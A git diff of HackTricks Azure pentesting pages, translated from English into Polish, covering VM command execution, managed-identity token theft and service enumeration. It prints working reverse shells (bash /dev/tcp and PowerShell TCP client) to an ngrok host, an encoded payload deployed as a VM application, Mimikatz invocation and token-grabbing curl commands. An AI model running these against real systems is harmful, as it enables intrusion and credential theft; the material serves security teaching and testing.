--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ - --install-command "powershell.exe -EncodedCommand $encodedCommand" \ - --remove-command "powershell.exe -EncodedCommand $encodedCommand" \ - --update-command "powershell.exe -EncodedCommand $encodedCommand" +--version-name 1.0.0 \ +--application-name myReverseShellAppWin \ +--gallery-name myGallery \ +--location "West US 2" \ +--resource-group \ +--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ +--install-command "powershell.exe -EncodedCommand $encodedCommand" \ +--remove-command "powershell.exe -EncodedCommand $encodedCommand" \ +--update-command "powershell.exe -EncodedCommand $encodedCommand" # Install the app in a VM to execute the rev shell ## Use the ID given in the previous output az vm application set \ - --resource-group \ - --name deleteme-win4 \ - --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \ - --treat-deployment-as-failure true +--resource-group \ +--name deleteme-win4 \ +--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \ +--treat-deployment-as-failure true ``` - {{#endtab }} {{#endtabs }} ### `Microsoft.Compute/virtualMachines/runCommand/action` -This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:** +To najprostszy mechanizm, który Azure udostępnia do **wykonywania dowolnych poleceń w VM:** {{#tabs }} {{#tab name="Linux" }} - ```bash # Execute rev shell az vm run-command invoke \ - --resource-group \ - --name \ - --command-id RunShellScript \ - --scripts @revshell.sh +--resource-group \ +--name \ +--command-id RunShellScript \ +--scripts @revshell.sh # revshell.sh file content echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh ``` - {{#endtab }} {{#tab name="Windows" }} - ```bash # The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action # Execute a rev shell az vm run-command invoke \ - --resource-group Research \ - --name juastavm \ - --command-id RunPowerShellScript \ - --scripts @revshell.ps1 +--resource-group Research \ +--name juastavm \ +--command-id RunPowerShellScript \ +--scripts @revshell.ps1 ## Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 @@ -314,62 +293,57 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1 Import-module MicroBurst.psm1 Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ``` - {{#endtab }} {{#endtabs }} ### `Microsoft.Compute/virtualMachines/login/action` -This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM). +To uprawnienie pozwala użytkownikowi na **logowanie się jako użytkownik do VM za pomocą SSH lub RDP** (pod warunkiem, że uwierzytelnianie Entra ID jest włączone w VM). -Login via **SSH** with **`az ssh vm --name --resource-group `** and via **RDP** with your **regular Azure credentials**. +Logowanie za pomocą **SSH** z **`az ssh vm --name --resource-group `** oraz za pomocą **RDP** z Twoimi **zwykłymi poświadczeniami Azure**. ### `Microsoft.Compute/virtualMachines/loginAsAdmin/action` -This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM). +To uprawnienie pozwala użytkownikowi na **logowanie się jako użytkownik do VM za pomocą SSH lub RDP** (pod warunkiem, że uwierzytelnianie Entra ID jest włączone w VM). -Login via **SSH** with **`az ssh vm --name --resource-group `** and via **RDP** with your **regular Azure credentials**. +Logowanie za pomocą **SSH** z **`az ssh vm --name --resource-group `** oraz za pomocą **RDP** z Twoimi **zwykłymi poświadczeniami Azure**. ## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it. - -Depending on the situation more or less permissions might be needed to abuse this technique. +Wszystkie te uprawnienia są niezbędne do **utworzenia VM z określoną zarządzaną tożsamością** i pozostawienia **otwartego portu** (22 w tym przypadku). Umożliwia to użytkownikowi utworzenie VM i połączenie się z nią oraz **kradzież tokenów zarządzanej tożsamości** w celu eskalacji uprawnień do niej. +W zależności od sytuacji może być potrzebne więcej lub mniej uprawnień do nadużycia tej techniki. ```bash az vm create \ - --resource-group Resource_Group_1 \ - --name cli_vm \ - --image Ubuntu2204 \ - --admin-username azureuser \ - --generate-ssh-keys \ - --assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \ - --nsg-rule ssh \ - --location "centralus" +--resource-group Resource_Group_1 \ +--name cli_vm \ +--image Ubuntu2204 \ +--admin-username azureuser \ +--generate-ssh-keys \ +--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \ +--nsg-rule ssh \ +--location "centralus" # By default pub key from ~/.ssh is used (if none, it's generated there) ``` - ### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\ -Then, from the metadata service it's possible to generate tokens for each one. - +Te uprawnienia są wystarczające, aby **przypisać nowe zarządzane tożsamości do maszyny wirtualnej**. Należy zauważyć, że maszyna wirtualna może mieć kilka zarządzanych tożsamości. Może mieć **przypisaną tożsamość systemową** oraz **wiele tożsamości zarządzanych przez użytkownika**.\ +Następnie, z usługi metadanych możliwe jest generowanie tokenów dla każdej z nich. ```bash # Get currently assigned managed identities to the VM az vm identity show \ - --resource-group \ - --name +--resource-group \ +--name # Assign several managed identities to a VM az vm identity assign \ - --resource-group \ - --name \ - --identities \ - /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ - /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 +--resource-group \ +--name \ +--identities \ +/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ +/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 ``` - -Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**: +Then the attacker needs to have **w jakiś sposób skompromitowaną VM**, to steal tokens from the assigned managed identities. Check **więcej informacji w**: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm @@ -380,7 +354,3 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs... {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md index 3a40a9dff..455fb1dc3 100644 --- a/src/pentesting-cloud/azure-security/az-services/README.md +++ b/src/pentesting-cloud/azure-security/az-services/README.md @@ -2,28 +2,27 @@ {{#include ../../../banners/hacktricks-training.md}} -## Portals +## Portale -You can find the list of **Microsoft portals in** [**https://msportals.io/**](https://msportals.io/) +Możesz znaleźć listę **portali Microsoft w** [**https://msportals.io/**](https://msportals.io/) -### Raw requests +### Surowe żądania -#### Azure API via Powershell +#### Azure API za pomocą Powershell -Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. - -Then query the Azure REST API to get the **subscription ID** and more . +Uzyskaj **access_token** z **IDENTITY_HEADER** i **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. +Następnie zapytaj Azure REST API, aby uzyskać **ID subskrypcji** i więcej. ```powershell $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ - Method = 'GET' - Uri = $URI - Headers = @{ - 'Authorization' = "Bearer $Token" - } +Method = 'GET' +Uri = $URI +Headers = @{ +'Authorization' = "Bearer $Token" +} } (Invoke-RestMethod @RequestParams).value @@ -31,9 +30,7 @@ $RequestParams = @{ $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups//providers/Microsoft.Compute/virtualMachines/ func.HttpResponse: - logging.info('Python HTTP trigger function processed a request.') - IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] - IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] - cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) - val = os.popen(cmd).read() - return func.HttpResponse(val, status_code=200) +logging.info('Python HTTP trigger function processed a request.') +IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] +IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] +cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) +val = os.popen(cmd).read() +return func.HttpResponse(val, status_code=200) ``` +## Lista usług -## List of Services - -**The pages of this section are ordered by Azure service. In there you will be able to find information about the service (how it works and capabilities) and also how to enumerate each service.** +**Strony tej sekcji są uporządkowane według usługi Azure. Znajdziesz tam informacje o usłudze (jak działa i jej możliwości) oraz jak enumerować każdą usługę.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-acr.md b/src/pentesting-cloud/azure-security/az-services/az-acr.md index 800b03b30..4e956e6af 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-acr.md +++ b/src/pentesting-cloud/azure-security/az-services/az-acr.md @@ -2,14 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for **storing and managing Docker container images and other artifacts**. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services. +Azure Container Registry (ACR) to zarządzana usługa oferowana przez Microsoft Azure do **przechowywania i zarządzania obrazami kontenerów Docker oraz innymi artefaktami**. Oferuje funkcje takie jak zintegrowane narzędzia deweloperskie, geo-replikacja, środki bezpieczeństwa takie jak kontrola dostępu oparta na rolach i skanowanie obrazów, automatyczne budowy, webhooki i wyzwalacze oraz izolacja sieci. Działa z popularnymi narzędziami takimi jak Docker CLI i Kubernetes oraz dobrze integruje się z innymi usługami Azure. -### Enumerate - -To enumerate the service you could use the script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1): +### Enumeracja +Aby zenumerować usługę, możesz użyć skryptu [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1): ```bash # List Docker images inside the registry IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1") @@ -18,19 +17,15 @@ Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name " Get-AzACR -username -password -registry .azurecr.io ``` - {{#tabs }} {{#tab name="az cli" }} - ```bash az acr list --output table az acr show --name MyRegistry --resource-group MyResourceGroup ``` - {{#endtab }} {{#tab name="Az Powershell" }} - ```powershell # List all ACRs in your subscription Get-AzContainerRegistry @@ -38,19 +33,12 @@ Get-AzContainerRegistry # Get a specific ACR Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry" ``` - {{#endtab }} {{#endtabs }} -Login & Pull from the registry - +Zaloguj się i pobierz z rejestru ```bash docker login .azurecr.io --username --password docker pull .azurecr.io/: ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index d18a4d6ee..bf4b5c0ed 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -2,42 +2,41 @@ {{#include ../../../banners/hacktricks-training.md}} -## App Service Basic Information +## Podstawowe informacje o usłudze App Service -Azure App Services enables developers to **build, deploy, and scale web applications, mobile app backends, and APIs seamlessly**. It supports multiple programming languages and integrates with various Azure tools and services for enhanced functionality and management. +Azure App Services umożliwia deweloperom **tworzenie, wdrażanie i skalowanie aplikacji internetowych, zaplecza aplikacji mobilnych i interfejsów API w sposób bezproblemowy**. Obsługuje wiele języków programowania i integruje się z różnymi narzędziami i usługami Azure w celu zwiększenia funkcjonalności i zarządzania. -Each app runs inside a sandbox but isolation depends upon App Service plans +Każda aplikacja działa w piaskownicy, ale izolacja zależy od planów App Service -- Apps in Free and Shared tiers run on shared VMs -- Apps in Standard and Premium tiers run on dedicated VMs +- Aplikacje w darmowych i współdzielonych warstwach działają na współdzielonych maszynach wirtualnych +- Aplikacje w standardowych i premium warstwach działają na dedykowanych maszynach wirtualnych > [!WARNING] -> Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **esalate privileges to them**. +> Należy pamiętać, że **żadna** z tych izolacji **nie zapobiega** innym powszechnym **wrażliwościom internetowym** (takim jak przesyłanie plików czy wstrzyknięcia). A jeśli używana jest **tożsamość zarządzania**, może ona **uzyskać podwyższone uprawnienia**. -### Azure Function Apps +### Aplikacje Azure Function -Basically **Azure Function apps are a subset of Azure App Service** in the web and if you go to the web console and list all the app services or execute `az webapp list` in az cli you will be able to **see the Function apps also listed here**. +W zasadzie **aplikacje Azure Function są podzbiorem Azure App Service** w sieci, a jeśli przejdziesz do konsoli internetowej i wyświetlisz wszystkie usługi aplikacji lub wykonasz `az webapp list` w az cli, będziesz mógł **zobaczyć również aplikacje Function wymienione tutaj**. -Actually some of the **security related features** App services use (`webapp` in the az cli), are **also used by Function apps**. +W rzeczywistości niektóre z **funkcji związanych z bezpieczeństwem**, które wykorzystują usługi aplikacji (`webapp` w az cli), są **również używane przez aplikacje Function**. -## Basic Authentication +## Podstawowa autoryzacja -When creating a web app (and a Azure function usually) it's possible to indicate if you want Basic Authentication to be enabled. This basically **enables SCM and FTP** for the application so it'll be possible to deploy the application using those technologies.\ -Moreover in order to connect to them, Azure provides an **API that allows to get the username, password and URL** to connect to the SCM and FTP servers. +Podczas tworzenia aplikacji internetowej (a zazwyczaj funkcji Azure) można wskazać, czy chcesz, aby podstawowa autoryzacja była włączona. To zasadniczo **włącza SCM i FTP** dla aplikacji, dzięki czemu będzie możliwe wdrożenie aplikacji przy użyciu tych technologii.\ +Ponadto, aby się z nimi połączyć, Azure zapewnia **API, które pozwala uzyskać nazwę użytkownika, hasło i adres URL** do połączenia z serwerami SCM i FTP. -- Authentication: az webapp auth show --name lol --resource-group lol_group +- Autoryzacja: az webapp auth show --name lol --resource-group lol_group SSH -Always On +Zawsze włączone -Debugging +Debugowanie -### Enumeration +### Enumeracja {{#tabs }} {{#tab name="az" }} - ```bash # List webapps az webapp list @@ -101,15 +100,15 @@ az functionapp show --name --resource-group # Get details about the source of the function code az functionapp deployment source show \ - --name \ - --resource-group +--name \ +--resource-group ## If error like "This is currently not supported." ## Then, this is probalby using a container # Get more info if a container is being used az functionapp config container show \ - --name \ - --resource-group +--name \ +--resource-group # Get settings (and privesc to the sorage account) az functionapp config appsettings list --name --resource-group @@ -125,7 +124,7 @@ az functionapp config access-restriction show --name --resource-group # Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) az rest --method GET \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" # Get source code with Master Key of the function curl "?code=" @@ -135,22 +134,18 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` - {{#endtab }} {{#tab name="Az Powershell" }} - ```powershell # Get App Services and Function Apps Get-AzWebApp # Get only App Services Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} ``` - {{#endtab }} {{#tab name="az get all" }} - ```bash #!/bin/bash @@ -170,21 +165,19 @@ list_app_services=$(az appservice list --query "[].{appServiceName: name, group: # Iterate over each App Service echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do - # Get the type of the App Service - service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv) +# Get the type of the App Service +service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv) - # Check if it is a Function App and print its name - if [ "$service_type" == "functionapp" ]; then - echo "Function App Name: $appServiceName" - fi +# Check if it is a Function App and print its name +if [ "$service_type" == "functionapp" ]; then +echo "Function App Name: $appServiceName" +fi done ``` - {{#endtab }} {{#endtabs }} -#### Obtain credentials & get access to the webapp code - +#### Uzyskaj dane uwierzytelniające i uzyskaj dostęp do kodu aplikacji webowej ```bash # Get connection strings that could contain credentials (with DBs for example) az webapp config connection-string list --name --resource-group @@ -202,17 +195,12 @@ git clone 'https://:@name.scm.azurewebsites.net/repo-name.gi ## In my case the username was: $nameofthewebapp and the password some random chars ## If you change the code and do a push, the app is automatically redeployed ``` - {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -## References +## Odniesienia - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index e0cf6a053..454836941 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -2,25 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) +[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) -Azure Active Directory's Application Proxy provides **secure remote access to on-premises web applications**. After a **single sign-on to Azure AD**, users can access both **cloud** and **on-premises applications** through an **external URL** or an internal application portal. +Azure Active Directory's Application Proxy zapewnia **bezpieczny zdalny dostęp do lokalnych aplikacji internetowych**. Po **jednokrotnym logowaniu do Azure AD**, użytkownicy mogą uzyskać dostęp zarówno do **chmurowych**, jak i **lokalnych aplikacji** za pośrednictwem **zewnętrznego URL** lub wewnętrznego portalu aplikacji. -It works like this: +Działa to w następujący sposób:
-1. After the user has accessed the application through an endpoint, the user is directed to the **Azure AD sign-in page**. -2. After a **successful sign-in**, Azure AD sends a **token** to the user's client device. -3. The client sends the token to the **Application Proxy service**, which retrieves the user principal name (UPN) and security principal name (SPN) from the token. **Application Proxy then sends the request to the Application Proxy connector**. -4. If you have configured single sign-on, the connector performs any **additional authentication** required on behalf of the user. -5. The connector sends the request to the **on-premises application**. -6. The **response** is sent through the connector and Application Proxy service **to the user**. - -## Enumeration +1. Po uzyskaniu dostępu do aplikacji przez punkt końcowy, użytkownik jest kierowany na **stronę logowania Azure AD**. +2. Po **pomyślnym zalogowaniu**, Azure AD wysyła **token** do urządzenia klienckiego użytkownika. +3. Klient wysyła token do **usługi Application Proxy**, która pobiera nazwę główną użytkownika (UPN) i nazwę główną zabezpieczeń (SPN) z tokena. **Application Proxy następnie wysyła żądanie do łącznika Application Proxy**. +4. Jeśli skonfigurowano jednolite logowanie, łącznik wykonuje wszelkie **dodatkowe uwierzytelnienie** wymagane w imieniu użytkownika. +5. Łącznik wysyła żądanie do **lokalnej aplikacji**. +6. **Odpowiedź** jest wysyłana przez łącznik i usługę Application Proxy **do użytkownika**. +## Enumeracja ```powershell # Enumerate applications with application proxy configured Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} @@ -32,13 +31,8 @@ Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Name"} # to find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it Get-ApplicationProxyAssignedUsersAndGroups -ObjectId ``` - ## References - [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index 6fcf24ecc..b9865dec5 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) To implement **infrastructure as code for your Azure solutions**, use Azure Resource Manager templates (ARM templates). The template is a JavaScript Object Notation (**JSON**) file that **defines** the **infrastructure** and configuration for your project. The template uses declarative syntax, which lets you state what you intend to deploy without having to write the sequence of programming commands to create it. In the template, you specify the resources to deploy and the properties for those resources. +[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Aby wdrożyć **infrastrukturę jako kod dla swoich rozwiązań Azure**, użyj szablonów Azure Resource Manager (szablony ARM). Szablon to plik JavaScript Object Notation (**JSON**), który **definiuje** **infrastrukturę** i konfigurację dla Twojego projektu. Szablon używa składni deklaratywnej, co pozwala Ci określić, co zamierzasz wdrożyć, bez konieczności pisania sekwencji poleceń programistycznych do jego utworzenia. W szablonie określasz zasoby do wdrożenia oraz właściwości tych zasobów. -### History +### Historia -If you can access it, you can have **info about resources** that are not present but might be deployed in the future. Moreover, if a **parameter** containing **sensitive info** was marked as "**String**" **instead** of "**SecureString**", it will be present in **clear-text**. +Jeśli masz do niego dostęp, możesz uzyskać **informacje o zasobach**, które nie są obecne, ale mogą być wdrożone w przyszłości. Co więcej, jeśli **parametr** zawierający **wrażliwe informacje** został oznaczony jako "**String**" **zamiast** "**SecureString**", będzie obecny w **czystym tekście**. -## Search Sensitive Info - -Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**. +## Wyszukiwanie wrażliwych informacji +Użytkownicy z uprawnieniami `Microsoft.Resources/deployments/read` i `Microsoft.Resources/subscriptions/resourceGroups/read` mogą **czytać historię wdrożeń**. ```powershell Get-AzResourceGroup Get-AzResourceGroupDeployment -ResourceGroupName @@ -23,13 +22,8 @@ Save-AzResourceGroupDeploymentTemplate -ResourceGroupName -Depl cat .json # search for hardcoded password cat | Select-String password ``` - -## References +## Odniesienia - [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md index 43e03e664..6f91aa4c3 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md @@ -2,54 +2,53 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation delivers a cloud-based automation, operating system updates, and configuration service that supports consistent management across your Azure and non-Azure environments. It includes process automation, configuration management, update management, shared capabilities, and heterogeneous features. +[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation dostarcza usługę automatyzacji w chmurze, aktualizacje systemu operacyjnego oraz usługę konfiguracji, która wspiera spójną administrację w Twoich środowiskach Azure i nie-Azure. Obejmuje automatyzację procesów, zarządzanie konfiguracją, zarządzanie aktualizacjami, wspólne możliwości i heterogeniczne funkcje. -These are like "**scheduled tasks**" in Azure that will let you execute things (actions or even scripts) to **manage**, check and configure the **Azure environment**. +Są to jak "**zaplanowane zadania**" w Azure, które pozwalają na wykonywanie rzeczy (akcji lub nawet skryptów) w celu **zarządzania**, sprawdzania i konfigurowania **środowiska Azure**. -### Run As Account +### Konto Run As -When **Run as Account** is used, it creates an Azure AD **application** with self-signed certificate, creates a **service principal** and assigns the **Contributor** role for the account in the **current subscription** (a lot of privileges).\ -Microsoft recommends using a **Managed Identity** for Automation Account. +Gdy używane jest **Konto Run as**, tworzy aplikację Azure AD **z certyfikatem samopodpisanym**, tworzy **principal usługi** i przypisuje rolę **Współtwórcy** dla konta w **aktualnej subskrypcji** (wiele uprawnień).\ +Microsoft zaleca używanie **Zarządzanej Tożsamości** dla Konta Automatyzacji. > [!WARNING] -> This will be **removed on September 30, 2023 and changed for Managed Identities.** +> To zostanie **usunięte 30 września 2023 i zmienione na Zarządzane Tożsamości.** -## Runbooks & Jobs +## Runbooki i zadania -**Runbooks** allow you to **execute arbitrary PowerShell** code. This could be **abused by an attacker** to steal the permissions of the **attached principal** (if any).\ -In the **code** of **Runbooks** you could also find **sensitive info** (such as creds). +**Runbooki** pozwalają na **wykonywanie dowolnego kodu PowerShell**. Może to być **wykorzystane przez atakującego** do kradzieży uprawnień **przypisanego principal** (jeśli istnieje).\ +W **kodzie** **Runbooków** można również znaleźć **wrażliwe informacje** (takie jak dane uwierzytelniające). -If you can **read** the **jobs**, do it as they **contain** the **output** of the run (potential **sensitive info**). +Jeśli możesz **czytać** **zadania**, zrób to, ponieważ **zawierają** **wynik** uruchomienia (potencjalne **wrażliwe informacje**). -Go to `Automation Accounts` --> `